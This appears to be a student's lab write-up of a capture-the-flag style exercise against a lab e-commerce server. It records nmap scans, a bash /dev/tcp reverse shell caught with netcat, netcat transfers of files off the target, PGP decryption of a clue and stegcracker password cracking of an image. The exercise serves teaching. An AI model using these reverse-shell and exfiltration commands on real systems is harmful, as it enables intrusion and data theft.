

Response to Injection 2

2. A screenshot for the IP address of the server.

```
(root@CISkali)-[~/home/kali]
└─# ifconfig | grep netmask
    inet 192.168.1.7 netmask 255.255.255.0 broadcast 192.168.1.255
    inet 127.0.0.1 netmask 255.0.0.0

└─# nmap -sP 192.168.1.7/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-11-08 15:07 EST
Nmap scan report for 192.168.1.1
Host is up (0.00029s latency).
MAC Address: FE:82:34:92:20:56 (Unknown)
Nmap scan report for www.cis-mart.com (192.168.1.220)
Host is up (0.00024s latency).
MAC Address: F2:59:3E:4E:E9:03 (Unknown)
Nmap scan report for 192.168.1.7
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.90 seconds

└─#
```

3. A screenshot that displays the version of the services that are running on the server.

```
(root@CISkali)-[~/home/kali]
└─# nmap -sV 192.168.1.220
Starting Nmap 7.91 ( https://nmap.org ) at 2022-11-08 15:21 EST
Nmap scan report for www.cis-mart.com (192.168.1.220)
Host is up (0.000045s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; prot
ocol 2.0)
23/tcp    open  telnet   Linux telnetd
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
3306/tcp  open  mysql    MySQL 5.5.62-0ubuntu0.14.04.1
MAC Address: F2:59:3E:4E:E9:03 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds

└─#
```

1) Show the reverse shell in a screenshot.

```
(root@CISkali)~/home/kali
# ssh jessica@192.168.1.220
jessica@192.168.1.220's password:
Permission denied, please try again.
jessica@192.168.1.220's password:
Permission denied, please try again.
jessica@192.168.1.220's password:

sessions: command not found
jessica@OScommerce:~$ pwd
/home/jessica
jessica@OScommerce:~$ pwd
/home/jessica
jessica@OScommerce:~$ /bin/bash -i > /dev/tcp/192.168.1.7/80
80 0<61 2>61
[]

(root@CISkali)~/home/kali
# nc -l -n -vv -p 8080
listening on [any] 8080 ...
^C sent 0, rcvd 0

(root@CISkali)~/home/kali
# nc -l -n -vv -p 8080
listening on [any] 8080 ...
connect to [192.168.1.7] from (UNKNOWN) [192.168.1.220] 5055
4
jessica@OScommerce:~$
```

2) Execute the commands (whoami, id, pwd, and ls) and report the output on a screenshot.

```
(root@CISkali)~/home/kali
# nc -l -n -vv -p 8080
listening on [any] 8080 ...
connect to [192.168.1.7] from (UNKNOWN) [192.168.1.220] 5055
4
jessica@OScommerce:~$ whoami
whoami
jessica
jessica@OScommerce:~$ id
id
uid=1001(jessica) gid=1001(jessica) groups=1001(jessica)
jessica@OScommerce:~$ pwd
pwd
/home/jessica
jessica@OScommerce:~$ ls
ls
Desktop
Documents
Downloads
examples.desktop
Music
Pictures
Public
Templates
Videos
jessica@OScommerce:~$
```

1) Show in a screenshot the netcat command you used on the reverse shell and Kali shell (terminal).

The screenshot shows two terminal windows. The left window is on a Kali machine (jessica@OScommerce) and the right window is on a target machine (root@CISkali).

Left Terminal (Kali):

```

jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < G
oodData-e.txt
jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < G
nc -w 5 192.1
This is nc from the netcat-openbsd package. An alternative n
c is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklmrStUuvZz] [-I length] [-i interval] [
-I length]
[-P proxy_username] [-p source_port] [-q seconds]
[-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy
_protocol]
[-x proxy_address[:port]] [destination] [port]
jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < B
alloons-e.jpg
alloons-e.jpg68.1.7 4444 < B
bash: Balloons-e.jpg: No such file or directory
jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < Ba
lloons-e.jpg
lloons-e.jpg168.1.7 4444 < Ba
bash: Balloons-e.jpg: No such file or directory
jessica@OScommerce:~/Documents$ ls
ls
balloons-e.jpg
GoodData-e.txt
pass-image.txt
jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < b
alloons-e.txt
alloons-e.txt68.1.7 4444 < b
bash: balloons-e.txt: No such file or directory
jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < b
alloons-e.jpg
alloons-e.jpg68.1.7 4444 < b
jessica@OScommerce:~/Documents$ nc -w 5 192.168.1.7 4444 < p
ass-image.txt
ass-image.txt68.1.7 4444 < p
jessica@OScommerce:~/Documents$

```

Right Terminal (Kali):

```

(root@CISkali)-[~/home/kali]
# cat GoodData-e.txt
Gb or noyr gb svaq gernfher uvqra va gur vzntz svyr, lbh a
rrq gb haqrefgnaq fgrtnabtencul.
Jngpu guvf ivqrb:
uggcF://jjj.lbhghor.pbz/jngpu?i=9HMu-4Re7006no_punaary=Ahyy
0lgr
Gur qvpgvbanel vf tvira gb nffvfg lbh.
(root@CISkali)-[~/home/kali]
# nc -lvp 4444 > Balloons-e.jpg
listening on [any] 4444 ...
130 x
^C
(root@CISkali)-[~/home/kali]
# nc -lvp 4444 > balloons-e.jpg
listening on [any] 4444 ...
1 x
connect to [192.168.1.7] from www.cis-mart.com [192.168.1.2
20] 47966
(root@CISkali)-[~/home/kali]
# nc -lvp 4444 > pass-image.txt
listening on [any] 4444 ...
130 x
connect to [192.168.1.7] from www.cis-mart.com [192.168.1.2
20] 47968
(root@CISkali)-[~/home/kali]
# ls
balloons-e.jpg Documents Music Public
Balloons-e.jpg Downloads pass-image.txt Templates
Desktop GoodData-e.txt Pictures Videos
(root@CISkali)-[~/home/kali]
#

```

2) Show the three transferred files on Kali in a screenshot.

The screenshot shows a terminal window on the Kali machine (root@CISkali) with the following output:

```

(root@CISkali)-[~/home/kali]
# ls
balloons-e.jpg Documents Music Public
Balloons-e.jpg Downloads pass-image.txt Templates
Desktop GoodData-e.txt Pictures Videos
(root@CISkali)-[~/home/kali]
#

```

3) Address the above requirements.

Receiver's Private Key (For decryption purpose)

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto

xcFGBGNsQ6sBBACwHwDznzByFFQoi1wPk/r58u76Pp
Y8nnhBht1nadBozeu7F2NP
dkbUkv8zowYnx1z69ixmam6ZiIX3YMqYi0rLaLzHeFGvyz
3jHMku5fWeZQ5ch6iZ
```

Browse... 0x8F6568A3-priv.asc

Encrypted PGP Message

```
-----BEGIN PGP MESSAGE-----
Version: Keybase OpenPGP v2.0.76
Comment: https://keybase.io/crypto

WwDANhUnFGSENIbA/4gMnftN5W25XhXwV378zQaThnBPqGYd+T2VANI24ETIW2u
SusQc6en0hAvG8jMOYc/hhNEuFGT8gtzRR3pUJXx5ybHIV9vkYIrrqaHn1s5DZu
5ZQ2weHYZIUH6GR+K54KLW7MOD2k4+Ym6EO9LKycD74uSLIFLaZdLorCCMG1t
LA
```

Browse... No file selected.

Decrypt the message

Signer's Public Key

Paste the signer's public key here if the message is signed. (Leave this field if the message is not signed.)

Browse... No file selected.

Decrypted Message in Plain Text

Decrypted, but incorrect fingerprint - signature not verified.
If this message encrypted without signature - ignore this message.

The treasure is hidden in the image file you transferred. You can discover the treasure using steganography.

To understand steganography, watch this video:
https://www.youtube.com/watch?v=9UZh-4Er7BQ&ab_channel=NullByte

One of the files you transferred from the e-commerce server is a dictionary for password cracking.

Since StegHide only allows one password attempt at a time, we decided to use the tool “stegcracker” to pass a password dictionary file to the cover file. This cracked the password and gave us the treasure information in a new file.

The terminal window shows the following output:

```
(root@CTSkali)~/home/kali
└─$ stegcracker /home/kali/balloons-e.jpg /home/kali/pass-image.txt
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2022 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which will blast through the rockyou.txt wordlist within 1.9 seconds as opposed to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

Counting lines in wordlist..
Attacking file '/home/kali/balloons-e.jpg' with wordlist '/home/kali/pass-image.txt'..
Successfully cracked file with password: goodness
Tried 4948 passwords
Your file has been written to: /home/kali/balloons-e.jpg.out
goodness

(root@CTSkali)~/home/kali
```

The file explorer shows the following files and folders:

- Pictures
- Videos
- Downloads
- Devices
- File System
- Network
- Browse Network
- Templates
- Videos
- balloons-e.jpg
- Balloons-e.jpg
- balloons-e.jpg.out
- GoodData-e.txt
- pass-image.txt
- "balloons-e.jpg.out": 33 bytes plain text docu...

